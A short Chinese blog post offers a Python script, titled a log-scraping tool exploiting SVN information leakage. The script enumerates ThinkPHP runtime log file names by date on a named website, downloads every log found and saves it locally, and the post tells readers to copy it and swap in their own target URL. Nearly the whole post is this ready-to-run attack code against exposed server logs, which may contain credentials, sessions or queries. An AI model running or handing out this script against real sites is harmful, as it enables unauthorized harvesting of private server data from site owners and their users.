tp_log工具

基于svn信息泄露的日志爬取工具

# 导入requests模块
import requests

# 定义URL
url ="http://www.webhack123.com/App/Runtime/Logs"

# 定义函数用于生成URL列表
def add_urls(patch,y):
    urls = []  # 初始化空列表用于存储URL
    for i in range(1, 7):
        for j in range(1, 32):
            if i < 10:
                if j < 10:
                    # 对月份和日期进行格式化,确保格式为两位数
                    urls.append(patch + "/%s_0%s_0%s.log" % (y, i, j))
                else:
                    urls.append(patch + "/%s_0%s_%s.log" % (y, i, j))
            else:
                if j < 10:
                    urls.append(patch + "/%s_%s_0%s.log" % (y, i, j))
                else:
                    urls.append(patch + "/%s_%s_%s.log" % (y, i, j))
    return urls

# 生成URL列表
urls = add_urls(url, "20")

# 遍历URL列表
for i in urls:
    # 发送GET请求
    req = requests.get(i)
    # 如果响应状态码为200,则表示请求成功
    if req.status_code == 200:
        print(i)  # 打印当前处理的URL
        html = req.text  # 获取响应的HTML内容
        # 将HTML内容写入文件
        with open("webhack123.txt", 'a', encoding='utf-8') as f:
            f.write(html)

直接复制粘贴即可
替换定义的url

posted @ 2024-02-27 20:19  谔斯猫  阅读(34)  评论(0编辑  收藏  举报